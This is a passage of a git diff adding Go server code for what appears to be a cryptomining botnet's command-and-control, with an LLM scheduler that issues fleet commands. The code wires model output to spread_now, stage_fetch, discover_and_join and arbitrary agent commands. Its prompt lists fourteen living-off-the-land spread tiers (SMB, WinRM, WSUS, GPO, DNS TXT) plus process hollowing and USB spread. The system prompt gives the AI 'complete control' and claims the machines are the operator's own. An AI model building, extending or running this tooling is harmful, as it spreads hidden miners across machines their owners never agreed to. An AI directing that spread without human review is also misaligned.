"llama3.2" + } + payload := map[string]interface{}{ + "model": model, + "messages": []map[string]string{ + {"role": "system", "content": systemPrompt}, + {"role": "user", "content": userPrompt}, + }, + "stream": false, + } + body, _ := json.Marshal(payload) + req, err := http.NewRequestWithContext(ctx, http.MethodPost, base+"/chat/completions", bytes.NewReader(body)) + if err != nil { + return "", err + } + req.Header.Set("Content-Type", "application/json") + resp, err := client.Do(req) + if err != nil { + return "", err + } + defer resp.Body.Close() + raw, _ := io.ReadAll(io.LimitReader(resp.Body, 1<<20)) + if resp.StatusCode != http.StatusOK { + return "", fmt.Errorf("completions: status %d: %s", resp.StatusCode, strings.TrimSpace(string(raw))) + } + var completion struct { + Choices []struct { + Message struct { + Content string `json:"content"` + } `json:"message"` + } `json:"choices"` + Error *struct { + Message string `json:"message"` + } `json:"error"` + } + if err := json.Unmarshal(raw, &completion); err != nil { + return "", fmt.Errorf("completions: parse: %w", err) + } + if completion.Error != nil && completion.Error.Message != "" { + return "", fmt.Errorf("completions: %s", completion.Error.Message) + } + if len(completion.Choices) == 0 { + return "", fmt.Errorf("completions: empty choices") + } + return strings.TrimSpace(completion.Choices[0].Message.Content), nil +} + +func normalizeEndpoint(endpoint string) string { + endpoint = strings.TrimSpace(endpoint) + endpoint = strings.TrimRight(endpoint, "/") + if endpoint == "" { + return "" + } + if !strings.HasSuffix(endpoint, "/v1") { + endpoint += "/v1" + } + return endpoint +} diff --git a/server/internal/ai/client_test.go b/server/internal/ai/client_test.go new file mode 100644 index 0000000..c68a472 --- /dev/null +++ b/server/internal/ai/client_test.go @@ -0,0 +1,66 @@ +package ai + +import ( + "context" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" +) + +func TestListModelsOpenAI(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path != "/v1/models" { + http.NotFound(w, r) + return + } + _ = json.NewEncoder(w).Encode(map[string]interface{}{ + "data": []map[string]string{{"id": "llama3.2"}, {"id": "mistral"}}, + }) + })) + defer srv.Close() + + models, err := ListModelsWithClient(context.Background(), srv.URL+"/v1", srv.Client()) + if err != nil { + t.Fatal(err) + } + if len(models) != 2 || models[0] != "llama3.2" { + t.Fatalf("models: %v", models) + } +} + +func TestDecideOpenAI(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path != "/v1/chat/completions" { + http.NotFound(w, r) + return + } + var req map[string]interface{} + _ = json.NewDecoder(r.Body).Decode(&req) + msgs, _ := req["messages"].([]interface{}) + if len(msgs) != 2 { + t.Fatalf("expected single-turn messages, got %d", len(msgs)) + } + _ = json.NewEncoder(w).Encode(map[string]interface{}{ + "choices": []map[string]interface{}{ + {"message": map[string]string{"content": `{"commands":[{"type":"noop","args":{}}]}`}}, + }, + }) + })) + defer srv.Close() + + out, err := DecideWithClient(context.Background(), srv.URL+"/v1", "test-model", "sys", "user", srv.Client()) + if err != nil { + t.Fatal(err) + } + cmds := ParseCommands(out) + if len(cmds) != 1 || cmds[0].Type != CmdNoop { + t.Fatalf("parse: %+v", cmds) + } +} + +func TestNormalizeEndpoint(t *testing.T) { + if got := normalizeEndpoint("http://127.0.0.1:11434"); got != "http://127.0.0.1:11434/v1" { + t.Fatalf("got %q", got) + } +} diff --git a/server/internal/ai/commands.go b/server/internal/ai/commands.go new file mode 100644 index 0000000..21c4975 --- /dev/null +++ b/server/internal/ai/commands.go @@ -0,0 +1,169 @@ +package ai + +import ( + "encoding/json" + "fmt" + "regexp" + "strings" +) + +const ( + CmdBulkCommand = "bulk_command" + CmdAgentCommand = "agent_command" + CmdDiscoverAndJoin = "discover_and_join" + CmdRestartMining = "restart_mining" + CmdReorderTiers = "reorder_tiers" + CmdSpreadNow = "spread_now" + CmdStageFetch = "stage_fetch" + CmdSetAgentVersion = "set_agent_version" + CmdNoop = "noop" +) + +var knownCommands = map[string]bool{ + CmdBulkCommand: true, + CmdAgentCommand: true, + CmdDiscoverAndJoin: true, + CmdRestartMining: true, + CmdReorderTiers: true, + CmdSpreadNow: true, + CmdStageFetch: true, + CmdSetAgentVersion: true, + CmdNoop: true, +} + +var jsonBlockRe = regexp.MustCompile(`(?s)\{[\s\n]*"commands"\s*:\s*\[[\s\S]*?\]\s*\}`) + +// ParseCommands extracts fleet commands from LLM text (JSON block, tool-call, or COMMAND: lines). +func ParseCommands(raw string) []Command { + raw = strings.TrimSpace(raw) + if raw == "" { + return nil + } + if cmds := parseCommandsJSON(raw); len(cmds) > 0 { + return cmds + } + if block := jsonBlockRe.FindString(raw); block != "" && block != raw { + if cmds := parseCommandsJSON(block); len(cmds) > 0 { + return cmds + } + } + if cmd := parseToolCall(raw); cmd != nil { + return []Command{*cmd} + } + return parseCommandLines(raw) +} + +func parseCommandsJSON(raw string) []Command { + var envelope struct { + Commands []Command `json:"commands"` + } + if err := json.Unmarshal([]byte(raw), &envelope); err == nil && len(envelope.Commands) > 0 { + return normalizeCommands(envelope.Commands) + } + // Bare array + var arr []Command + if err := json.Unmarshal([]byte(raw), &arr); err == nil && len(arr) > 0 { + return normalizeCommands(arr) + } + return nil +} + +func parseToolCall(raw string) *Command { + var tool struct { + Tool string `json:"tool"` + Args map[string]interface{} `json:"args"` + Type string `json:"type"` + } + start := strings.Index(raw, "{") + end := strings.LastIndex(raw, "}") + if start < 0 || end <= start { + return nil + } + if err := json.Unmarshal([]byte(raw[start:end+1]), &tool); err != nil { + return nil + } + name := strings.TrimSpace(tool.Tool) + if name == "" { + name = strings.TrimSpace(tool.Type) + } + if name == "" { + return nil + } + name = normalizeCommandType(name) + if !knownCommands[name] && name != "restart_agent" { + return &Command{Type: CmdAgentCommand, Args: map[string]interface{}{"action": name, "args": tool.Args}} + } + if name == "restart_agent" { + name = CmdRestartMining + } + return &Command{Type: name, Args: tool.Args} +} + +func parseCommandLines(raw string) []Command { + var out []Command + for _, line := range strings.Split(raw, "\n") { + line = strings.TrimSpace(line) + if !strings.HasPrefix(strings.ToUpper(line), "COMMAND:") { + continue + } + rest := strings.TrimSpace(line[len("COMMAND:"):]) + if rest == "" { + continue + } + parts := strings.Fields(rest) + cmdType := normalizeCommandType(parts[0]) + args := map[string]interface{}{} + for _, p := range parts[1:] { + kv := strings.SplitN(p, "=", 2) + if len(kv) == 2 { + args[kv[0]] = kv[1] + } + } + out = append(out, Command{Type: cmdType, Args: args}) + } + return normalizeCommands(out) +} + +func normalizeCommands(cmds []Command) []Command { + out := make([]Command, 0, len(cmds)) + for _, c := range cmds { + typ := normalizeCommandType(c.Type) + if typ == "" { + continue + } + if typ == "restart_agent" { + typ = CmdRestartMining + } + args := c.Args + if args == nil { + args = map[string]interface{}{} + } + out = append(out, Command{Type: typ, Args: args}) + } + return out +} + +func normalizeCommandType(s string) string { + s = strings.TrimSpace(strings.ToLower(s)) + s = strings.ReplaceAll(s, "-", "_") + if s == "restart" { + return CmdRestartMining + } + if knownCommands[s] { + return s + } + return s +} + +// FormatExecuted summarizes commands for audit log storage. +func FormatExecuted(cmds []Command, results []string) string { + parts := make([]string, 0, len(cmds)) + for i, c := range cmds { + msg := c.Type + if i < len(results) && results[i] != "" { + msg = fmt.Sprintf("%s:%s", c.Type, results[i]) + } + parts = append(parts, msg) + } + return strings.Join(parts, "; ") +} diff --git a/server/internal/ai/commands_test.go b/server/internal/ai/commands_test.go new file mode 100644 index 0000000..814ef76 --- /dev/null +++ b/server/internal/ai/commands_test.go @@ -0,0 +1,39 @@ +package ai + +import "testing" + +func TestParseCommandsJSONBlock(t *testing.T) { + raw := `Here is my plan: +{"commands":[{"type":"restart_mining","args":{}}]}` + cmds := ParseCommands(raw) + if len(cmds) != 1 || cmds[0].Type != CmdRestartMining { + t.Fatalf("got %+v", cmds) + } +} + +func TestParseCommandsToolCall(t *testing.T) { + raw := `{"tool":"restart_agent","args":{}}` + cmds := ParseCommands(raw) + if len(cmds) != 1 || cmds[0].Type != CmdRestartMining { + t.Fatalf("got %+v", cmds) + } +} + +func TestParseCommandsLineFallback(t *testing.T) { + raw := "COMMAND: spread_now\nCOMMAND: noop" + cmds := ParseCommands(raw) + if len(cmds) != 2 || cmds[0].Type != CmdSpreadNow || cmds[1].Type != CmdNoop { + t.Fatalf("got %+v", cmds) + } +} + +func TestParseCommandsAgentCommand(t *testing.T) { + raw := `{"commands":[{"type":"agent_command","args":{"action":"pause"}}]}` + cmds := ParseCommands(raw) + if len(cmds) != 1 || cmds[0].Type != CmdAgentCommand { + t.Fatalf("got %+v", cmds) + } + if cmds[0].Args["action"] != "pause" { + t.Fatalf("args: %+v", cmds[0].Args) + } +} diff --git a/server/internal/ai/mission_prompt.go b/server/internal/ai/mission_prompt.go new file mode 100644 index 0000000..7199b28 --- /dev/null +++ b/server/internal/ai/mission_prompt.go @@ -0,0 +1,135 @@ +package ai + +import ( + "encoding/json" + "fmt" + "strings" +) + +// Default spread onion tiers (14) for prompt context. +var defaultSpreadTiers = []string{ + "vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl", + "do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", + "smb", "winrm", "linux", "gpo", +} + +// SystemPrompt returns the fleet AI system instructions. +func SystemPrompt() string { + return strings.TrimSpace(`You are the AetherForge fleet controller for the operator's own machines. +Respond with short answers only. Prefer JSON: {"commands":[{"type":"noop","args":{}}]}. +Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, stage_fetch, set_agent_version, noop. +agent_command args: action (required), command, path, data. +bulk_command args: agent_ids (array), action, command. +reorder_tiers args: tier_order (array of strings), skip_tiers (optional array). +stage_fetch args: data (JSON manifest string). +set_agent_version args: module or build_id. +You have complete control in AI mode. Never target third-party systems.`) +} + +// BuildUserPrompt renders the per-agent snapshot for one decision cycle. +func BuildUserPrompt(s AgentSnapshot) string { + var b strings.Builder + fmt.Fprintf(&b, "Agent: name=%q id=%s", s.Name, s.AgentID) + if s.Worker != "" { + fmt.Fprintf(&b, " worker=%s", s.Worker) + } + b.WriteString("\n") + fmt.Fprintf(&b, "Platform: GOOS=%s version=%s build=%s\n", firstNonEmpty(s.GOOS, s.Platform), s.Version, s.BuildID) + if len(s.Capabilities) > 0 { + flags := make([]string, 0, len(s.Capabilities)) + for k, v := range s.Capabilities { + if v { + flags = append(flags, k) + } + } + if len(flags) > 0 { + fmt.Fprintf(&b, "Forge capabilities: %s\n", strings.Join(flags, ", ")) + } + } + fmt.Fprintf(&b, "LOTL tier: %s\n", emptyDash(s.LOTLTier)) + fmt.Fprintf(&b, "Mining hashrate: %.2f H/s\n", s.MiningHashrate) + if s.ActiveMethod != "" { + fmt.Fprintf(&b, "Active method: %s\n", s.ActiveMethod) + } + if s.ChainExhausted { + b.WriteString("Mining chain exhausted: true\n") + } + if len(s.ChainOrder) > 0 { + fmt.Fprintf(&b, "Chain order: %s\n", strings.Join(s.ChainOrder, " → ")) + } + + b.WriteString("LOTL attempts (all tiers):\n") + attemptByTier := map[string]TierAttempt{} + for _, a := range s.LOTLAttempts { + attemptByTier[a.Tier] = a + } + for _, tier := range defaultSpreadTiers { + if a, ok := attemptByTier[tier]; ok { + status := "fail" + if a.OK { + status = "ok" + } + if a.Error != "" { + fmt.Fprintf(&b, " - %s: %s (%s)\n", tier, status, a.Error) + } else { + fmt.Fprintf(&b, " - %s: %s\n", tier, status) + } + } else { + fmt.Fprintf(&b, " - %s: pending\n", tier) + } + } + for _, a := range s.LOTLAttempts { + if _, listed := attemptByTier[a.Tier]; listed { + continue + } + found := false + for _, t := range defaultSpreadTiers { + if t == a.Tier { + found = true + break + } + } + if !found { + status := "fail" + if a.OK { + status = "ok" + } + fmt.Fprintf(&b, " - %s: %s\n", a.Tier, status) + } + } + + fmt.Fprintf(&b, "Join lane: %s\n", emptyDash(s.JoinLane)) + fmt.Fprintf(&b, "Spread state: %s\n", emptyDash(s.SpreadState)) + if s.VulnRisk != nil { + fmt.Fprintf(&b, "Vuln risk score: %d\n", *s.VulnRisk) + } else { + b.WriteString("Vuln risk score: n/a\n") + } + if s.AdaptiveSummary != "" { + fmt.Fprintf(&b, "Adaptive strategy summary: %s\n", s.AdaptiveSummary) + } else if s.Adaptive != nil { + if raw, err := json.Marshal(s.Adaptive); err == nil { + fmt.Fprintf(&b, "Adaptive strategy: %s\n", string(raw)) + } + } + + b.WriteString("\nIf all 14 tiers failed and hashrate=0, you MAY force restart mining chain (restart_mining).\n") + b.WriteString("Return JSON commands array for this agent only.\n") + return b.String() +} + +func firstNonEmpty(vals ...string) string { + for _, v := range vals { + if strings.TrimSpace(v) != "" { + return strings.TrimSpace(v) + } + } + return "unknown" +} + +func emptyDash(s string) string { + if strings.TrimSpace(s) == "" { + return "—" + } + return strings.TrimSpace(s) +} diff --git a/server/internal/ai/scheduler.go b/server/internal/ai/scheduler.go new file mode 100644 index 0000000..836df45 --- /dev/null +++ b/server/internal/ai/scheduler.go @@ -0,0 +1,188 @@ +package ai + +import ( + "context" + "crypto/sha256" + "encoding/hex" + "log" + "sync" + "time" +) + +// SnapshotProvider supplies live agent telemetry for decision cycles. +type SnapshotProvider interface { + ConnectedAgentIDs() []string + AgentSnapshot(agentID string) (AgentSnapshot, bool) +} + +// CommandExecutor runs parsed fleet commands. +type CommandExecutor interface { + Execute(agentID string, cmd Command) (summary string, err error) +} + +// ConfigProvider reads current Fleet AI Control settings. +type ConfigProvider interface { + AIConfig() Config +} + +// DecisionStore persists decision audit rows. +type DecisionStore interface { + InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error +} + +// Scheduler runs periodic LLM decisions for online agents. +type Scheduler struct { + cfg ConfigProvider + snap SnapshotProvider + exec CommandExecutor + store DecisionStore + stop chan struct{} + wg sync.WaitGroup + + lastRunMu sync.Mutex + lastRun map[string]time.Time +} + +func NewScheduler(cfg ConfigProvider, snap SnapshotProvider, exec CommandExecutor, store DecisionStore) *Scheduler { + return &Scheduler{ + cfg: cfg, + snap: snap, + exec: exec, + store: store, + stop: make(chan struct{}), + lastRun: make(map[string]time.Time), + } +} + +func (s *Scheduler) Start() { + s.wg.Add(1) + go s.loop() +} + +func (s *Scheduler) Stop() { + close(s.stop) + s.wg.Wait() +} + +func (s *Scheduler) loop() { + defer s.wg.Done() + ticker := time.NewTicker(5 * time.Second) + defer ticker.Stop() + for { + select { + case <-s.stop: + return + case <-ticker.C: + s.tick() + } + } +} + +// Tick runs one scheduler pass (exported for tests). +func (s *Scheduler) Tick() { + s.tick() +} + +func (s *Scheduler) tick() { + if s.cfg == nil || s.snap == nil { + return + } + cfg := s.cfg.AIConfig() + if !cfg.Enabled { + return + } + interval := time.Duration(cfg.IntervalSec) * time.Second + if interval < time.Second { + interval = 60 * time.Second + } + ids := s.snap.ConnectedAgentIDs() + for i, agentID := range ids { + if !s.shouldRun(agentID, interval, i) { + continue + } + s.runAgent(context.Background(), agentID, cfg) + } +} + +func (s *Scheduler) shouldRun(agentID string, interval time.Duration, staggerIndex int) bool { + s.lastRunMu.Lock() + defer s.lastRunMu.Unlock() + last, ok := s.lastRun[agentID] + if !ok { + offset := time.Duration(staggerIndex%max(1, int(interval/time.Second))) * time.Second + if offset > 0 { + s.lastRun[agentID] = time.Now().Add(-interval + offset) + } + return true + } + return time.Since(last) >= interval +} + +func (s *Scheduler) markRun(agentID string) { + s.lastRunMu.Lock() + s.lastRun[agentID] = time.Now() + s.lastRunMu.Unlock() +} + +func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) { + snap, ok := s.snap.AgentSnapshot(agentID) + if !ok { + return + } + userPrompt := BuildUserPrompt(snap) + systemPrompt := SystemPrompt() + promptHash := hashPrompt(userPrompt) + + decide := Decide + if DecideFunc != nil { + decide = DecideFunc + } + response, err := decide(ctx, cfg.Endpoint, cfg.Model, systemPrompt, userPrompt) + if err != nil { + log.Printf("[fleet-ai] agent %s decide: %v", agentID, err) + if s.store != nil { + _ = s.store.InsertAIDecision(agentID, promptHash, "", "error:"+err.Error()) + } + s.markRun(agentID) + return + } + + cmds := ParseCommands(response) + results := make([]string, 0, len(cmds)) + for _, cmd := range cmds { + if cmd.Type == CmdNoop { + results = append(results, "ok") + continue + } + if s.exec == nil { + results = append(results, "no executor") + continue + } + sum, execErr := s.exec.Execute(agentID, cmd) + if execErr != nil { + results = append(results, "err:"+execErr.Error()) + } else { + results = append(results, sum) + } + } + executed := FormatExecuted(cmds, results) + if s.store != nil { + _ = s.store.InsertAIDecision(agentID, promptHash, response, executed) + } + s.markRun(agentID) +} + +func hashPrompt(prompt string) string { + h := sha256.Sum256([]byte(prompt)) + return hex.EncodeToString(h[:8]) +} + +// DecideFunc allows tests to override LLM calls. +var DecideFunc func(ctx context.Context, endpoint, model, systemPrompt, userPrompt string) (string, error) + +func max(a, b int) int { + if a > b { + return a + } + return b +} diff --git a/server/internal/ai/scheduler_test.go b/server/internal/ai/scheduler_test.go new file mode 100644 index 0000000..61bd389 --- /dev/null +++ b/server/internal/ai/scheduler_test.go @@ -0,0 +1,92 @@ +package ai + +import ( + "context" + "sync" + "testing" + "time" +) + +type mockSnap struct { + ids []string + snap AgentSnapshot +} + +func (m *mockSnap) ConnectedAgentIDs() []string { return m.ids } +func (m *mockSnap) AgentSnapshot(string) (AgentSnapshot, bool) { + return m.snap, true +} + +type mockExec struct { + mu sync.Mutex + calls []Command +} + +func (m *mockExec) Execute(_ string, cmd Command) (string, error) { + m.mu.Lock() + m.calls = append(m.calls, cmd) + m.mu.Unlock() + return cmd.Type, nil +} + +type mockCfg struct{ cfg Config } + +func (m *mockCfg) AIConfig() Config { return m.cfg } + +type mockStore struct { + mu sync.Mutex + rows []string +} + +func (m *mockStore) InsertAIDecision(_, _, _, executed string) error { + m.mu.Lock() + m.rows = append(m.rows, executed) + m.mu.Unlock() + return nil +} + +func TestSchedulerExecutesRestartCommand(t *testing.T) { + old := DecideFunc + defer func() { DecideFunc = old }() + DecideFunc = func(_ context.Context, _, _, _, _ string) (string, error) { + return `{"commands":[{"type":"restart_mining","args":{}}]}`, nil + } + + exec := &mockExec{} + store := &mockStore{} + sched := NewScheduler( + &mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1}}, + &mockSnap{ids: []string{"agent-1"}, snap: AgentSnapshot{AgentID: "agent-1", Name: "host"}}, + exec, + store, + ) + sched.lastRun["agent-1"] = time.Now().Add(-2 * time.Minute) + sched.Tick() + + exec.mu.Lock() + n := len(exec.calls) + call := exec.calls + exec.mu.Unlock() + if n != 1 || call[0].Type != CmdRestartMining { + t.Fatalf("calls: %+v", call) + } + store.mu.Lock() + defer store.mu.Unlock() + if len(store.rows) != 1 || store.rows[0] != "restart_mining:restart_mining" { + t.Fatalf("store: %v", store.rows) + } +} + +func TestSchedulerNoOpWhenDisabled(t *testing.T) { + exec := &mockExec{} + sched := NewScheduler( + &mockCfg{cfg: Config{Enabled: false}}, + &mockSnap{ids: []string{"agent-1"}}, + exec, + nil, + ) + sched.Tick() + if len(exec.calls) != 0 { + t.Fatalf("expected no calls") + } +} diff --git a/server/internal/ai/types.go b/server/internal/ai/types.go new file mode 100644 index 0000000..4f38f4d --- /dev/null +++ b/server/internal/ai/types.go @@ -0,0 +1,63 @@ +package ai + +import "crypto-miner-server/internal/strategy" + +// TierAttempt mirrors agent LOTL tier attempt telemetry. +type TierAttempt struct { + Tier string `json:"tier"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + DurationMs int64 `json:"duration_ms,omitempty"` +} + +// AgentSnapshot is the per-cycle fleet state fed to the LLM. +type AgentSnapshot struct { + AgentID string + Name string + Worker string + Platform string + Version string + BuildID string + GOOS string + + Capabilities map[string]bool + + LOTLTier string + LOTLAttempts []TierAttempt + MiningHashrate float64 + ChainExhausted bool + ChainOrder []string + ActiveMethod string + + JoinLane string + SpreadState string + VulnRisk *int + + AdaptiveSummary string + Adaptive *strategy.AdaptiveStrategy +} + +// Command is one fleet action parsed from LLM output. +type Command struct { + Type string `json:"type"` + Args map[string]interface{} `json:"args,omitempty"` +} + +// Config holds runtime Fleet AI Control settings. +type Config struct { + Enabled bool + Endpoint string + Model string + NoContext bool + IntervalSec int +} + +// DecisionRecord is persisted for the UI timeline. +type DecisionRecord struct { + ID int64 `json:"id"` + AgentID string `json:"agent_id"` + PromptHash string `json:"prompt_hash"` + Response string `json:"response"` + CommandsExecuted string `json:"commands_executed"` + Timestamp string `json:"ts"` +} diff --git a/server/internal/api/fleet_ai_bridge.go b/server/internal/api/fleet_ai_bridge.go new file mode 100644 index 0000000..9b35535 --- /dev/null +++ b/server/internal/api/fleet_ai_bridge.go @@ -0,0 +1,344 @@ +package api + +import ( + "encoding/json" + "fmt" + "strings" + + fleetai "crypto-miner-server/internal/ai" + "crypto-miner-server/internal/models" + "crypto-miner-server/internal/strategy" +) + +// FleetAIConfigView is the Calibrate subset for Fleet AI Control. +type FleetAIConfigView struct { + AIControlEnabled bool `json:"ai_control_enabled"` + AIEndpoint string `json:"ai_endpoint"` + AIModel string `json:"ai_model"` + AINoContext bool `json:"ai_no_context"` + AIDecisionIntervalSec int `json:"ai_decision_interval_sec"` +} + +// FleetAIConfigSource reads/writes Fleet AI settings from server config. +type FleetAIConfigSource interface { + GetFleetAIConfig() FleetAIConfigView + UpdateFleetAIConfig(FleetAIConfigView) error +} + +// FleetAISnapshot builds agent snapshots from DB + WS hub state. +func (h *WSHub) FleetAISnapshot(agentID string) (fleetai.AgentSnapshot, bool) { + if h == nil || h.db == nil || agentID == "" { + return fleetai.AgentSnapshot{}, false + } + agent, err := h.db.GetAgent(agentID) + if err != nil || agent == nil { + return fleetai.AgentSnapshot{}, false + } + + snap := fleetai.AgentSnapshot{ + AgentID: agentID, + Name: agent.Name, + Worker: agent.WorkerName, + Platform: agent.Platform, + Version: agent.Version, + BuildID: agent.BuildID, + GOOS: agent.Platform, + MiningHashrate: agent.MiningHashrate, + LOTLTier: agent.LOTLTier, + JoinLane: agent.JoinLane, + ChainExhausted: agent.ChainExhausted, + ChainOrder: append([]string(nil), agent.ChainOrder...), + ActiveMethod: agent.ActiveMethod, + VulnRisk: agent.VulnRiskScore, + } + for _, a := range agent.LOTLAttempts { + snap.LOTLAttempts = append(snap.LOTLAttempts, fleetai.TierAttempt{ + Tier: a.Tier, OK: a.OK, Error: a.Error, DurationMs: a.DurationMs, + }) + } + + h.mu.RLock() + if caps, ok := h.agentCapabilities[agentID]; ok { + snap.Capabilities = capabilityFlags(caps) + } + if tel, ok := h.agentLiveTelemetry[agentID]; ok { + mergeTelemetryIntoSnapshot(&snap, tel) + } + engine := h.adaptiveEngine + aiMode := h.serverPolicy.AIControlEnabled + h.mu.RUnlock() + + snap.SpreadState = describeSpreadState(agent, snap.Capabilities) + if engine != nil && !aiMode { + fp := strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain) + adaptive := engine.StrategyForAgent(agentID, fp) + snap.Adaptive = &adaptive + if len(adaptive.Reasoning) > 0 { + snap.AdaptiveSummary = adaptive.Reasoning[0].Action + } + } + return snap, true +} + +func capabilityFlags(caps models.AgentCapabilities) map[string]bool { + return map[string]bool{ + "hole_punch": caps.HolePunch, + "remote_aggressive": caps.RemoteAggressive, + "auto_spread": caps.AutoSpread, + "mesh_p2p": caps.MeshP2P, + "process_hollowing": caps.ProcessHollowing, + "ai_enabled": caps.AIEnabled, + "usb_spread": caps.USBSpread, + } +} + +func describeSpreadState(agent *models.Agent, caps map[string]bool) string { + parts := []string{} + if agent.USBSpread || (caps != nil && caps["usb_spread"]) { + parts = append(parts, "usb") + } + if caps != nil && caps["auto_spread"] { + parts = append(parts, "auto_spread") + } + if agent.JoinLane != "" { + parts = append(parts, "lane:"+agent.JoinLane) + } + if agent.Campaign != "" { + parts = append(parts, "campaign:"+agent.Campaign) + } + if len(parts) == 0 { + return "idle" + } + return strings.Join(parts, ", ") +} + +func mergeTelemetryIntoSnapshot(snap *fleetai.AgentSnapshot, tel map[string]interface{}) { + if v, ok := tel["mining_hashrate"].(float64); ok && v > 0 { + snap.MiningHashrate = v + } + if v, ok := tel["lotl_tier"].(string); ok && v != "" { + snap.LOTLTier = v + } + if v, ok := tel["join_lane"].(string); ok && v != "" { + snap.JoinLane = v + } + if v, ok := tel["chain_exhausted"].(bool); ok { + snap.ChainExhausted = v + } + if v, ok := tel["active_method"].(string); ok && v != "" { + snap.ActiveMethod = v + } + if raw, ok := tel["lotl_attempts"]; ok { + if b, err := json.Marshal(raw); err == nil { + var attempts []fleetai.TierAttempt + if json.Unmarshal(b, &attempts) == nil && len(attempts) > 0 { + snap.LOTLAttempts = attempts + } + } + } + if raw, ok := tel["chain_order"]; ok { + if b, err := json.Marshal(raw); err == nil { + var order []string + if json.Unmarshal(b, &order) == nil { + snap.ChainOrder = order + } + } + } + if v, ok := tel["vuln_risk_score"].(float64); ok { + n := int(v) + snap.VulnRisk = &n + } +} + +// FleetAIExecutor dispatches parsed LLM commands via existing WS command paths. +type FleetAIExecutor struct { + Hub *WSHub +} + +func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string, error) { + if e == nil || e.Hub == nil { + return "", fmt.Errorf("hub unavailable") + } + args := cmd.Args + if args == nil { + args = map[string]interface{}{} + } + switch cmd.Type { + case fleetai.CmdNoop: + return "noop", nil + case fleetai.CmdRestartMining: + if err := e.Hub.SendAgentCommand(agentID, "restart", nil); err != nil { + return "", err + } + return "restart", nil + case fleetai.CmdDiscoverAndJoin: + if err := e.Hub.SendAgentCommand(agentID, "discover_and_join", args); err != nil { + return "", err + } + return "discover_and_join", nil + case fleetai.CmdSpreadNow: + if err := e.Hub.SendAgentCommand(agentID, "spread_now", args); err != nil { + return "", err + } + return "spread_now", nil + case fleetai.CmdStageFetch: + if err := e.Hub.SendAgentCommand(agentID, "stage_fetch", args); err != nil { + return "", err + } + return "stage_fetch", nil + case fleetai.CmdSetAgentVersion: + module, _ := args["module"].(string) + if module == "" { + module, _ = args["build_id"].(string) + } + if module == "" { + return "", fmt.Errorf("set_agent_version requires module or build_id") + } + if err := e.Hub.SendAgentCommand(agentID, "fetch_module", map[string]interface{}{"module": module}); err != nil { + return "", err + } + return "fetch_module:" + module, nil + case fleetai.CmdReorderTiers: + return e.pushReorderTiers(agentID, args) + case fleetai.CmdBulkCommand: + return e.runBulkCommand(args) + case fleetai.CmdAgentCommand: + action, _ := args["action"].(string) + if action == "" { + return "", fmt.Errorf("agent_command requires action") + } + sendArgs := map[string]interface{}{} + for _, k := range []string{"command", "path", "data", "tail_lines"} { + if v, ok := args[k]; ok { + sendArgs[k] = v + } + } + if err := e.Hub.SendAgentCommand(agentID, action, sendArgs); err != nil { + return "", err + } + return action, nil + default: + if err := e.Hub.SendAgentCommand(agentID, cmd.Type, args); err != nil { + return "", err + } + return cmd.Type, nil + } +} + +func (e *FleetAIExecutor) pushReorderTiers(agentID string, args map[string]interface{}) (string, error) { + payload := map[string]interface{}{} + if raw, ok := args["tier_order"]; ok { + payload["tier_order"] = raw + } + if raw, ok := args["skip_tiers"]; ok { + payload["skip_tiers"] = raw + } + if len(payload) == 0 { + return "", fmt.Errorf("reorder_tiers requires tier_order") + } + body, _ := json.Marshal(payload) + if err := e.Hub.SendToAgent(agentID, Message{Type: "adaptive_strategy_update", Payload: body}); err != nil { + return "", err + } + return "reorder_tiers", nil +} + +func (e *FleetAIExecutor) runBulkCommand(args map[string]interface{}) (string, error) { + action, _ := args["action"].(string) + if action == "" { + return "", fmt.Errorf("bulk_command requires action") + } + ids := e.Hub.ResolveAgentTargets(parseAgentIDs(args["agent_ids"])) + if len(ids) == 0 { + return "", fmt.Errorf("bulk_command: no agent_ids") + } + sendArgs := map[string]interface{}{} + if v, ok := args["command"]; ok { + sendArgs["command"] = v + } + sent := 0 + for _, id := range ids { + if err := e.Hub.SendAgentCommand(id, action, sendArgs); err == nil { + sent++ + } + } + return fmt.Sprintf("bulk:%d/%d", sent, len(ids)), nil +} + +func parseAgentIDs(raw interface{}) []string { + switch v := raw.(type) { + case []interface{}: + out := make([]string, 0, len(v)) + for _, item := range v { + if s, ok := item.(string); ok && strings.TrimSpace(s) != "" { + out = append(out, strings.TrimSpace(s)) + } + } + return out + case []string: + return v + case string: + if strings.TrimSpace(v) == "" { + return nil + } + return strings.Split(v, ",") + default: + return nil + } +} + +// WSHubSnapshotAdapter implements fleetai.SnapshotProvider. +type WSHubSnapshotAdapter struct{ Hub *WSHub } + +func (a *WSHubSnapshotAdapter) ConnectedAgentIDs() []string { + if a == nil || a.Hub == nil { + return nil + } + return a.Hub.ConnectedAgentIDs() +} + +func (a *WSHubSnapshotAdapter) AgentSnapshot(agentID string) (fleetai.AgentSnapshot, bool) { + if a == nil || a.Hub == nil { + return fleetai.AgentSnapshot{}, false + } + return a.Hub.FleetAISnapshot(agentID) +} + +// ConfigAIAdapter wraps FleetAIConfigSource for the scheduler. +type ConfigAIAdapter struct{ Src FleetAIConfigSource } + +func (a *ConfigAIAdapter) AIConfig() fleetai.Config { + if a == nil || a.Src == nil { + return fleetai.Config{} + } + v := a.Src.GetFleetAIConfig() + interval := v.AIDecisionIntervalSec + if interval <= 0 { + interval = 60 + } + endpoint := strings.TrimSpace(v.AIEndpoint) + if endpoint == "" { + endpoint = "http://127.0.0.1:11434/v1" + } + return fleetai.Config{ + Enabled: v.AIControlEnabled, + Endpoint: endpoint, + Model: strings.TrimSpace(v.AIModel), + NoContext: v.AINoContext, + IntervalSec: interval, + } +} + +// DatabaseAIDecisionStore wraps db for InsertAIDecision. +type DatabaseAIDecisionStore struct { + DB interface { + InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error + } +} + +func (s *DatabaseAIDecisionStore) 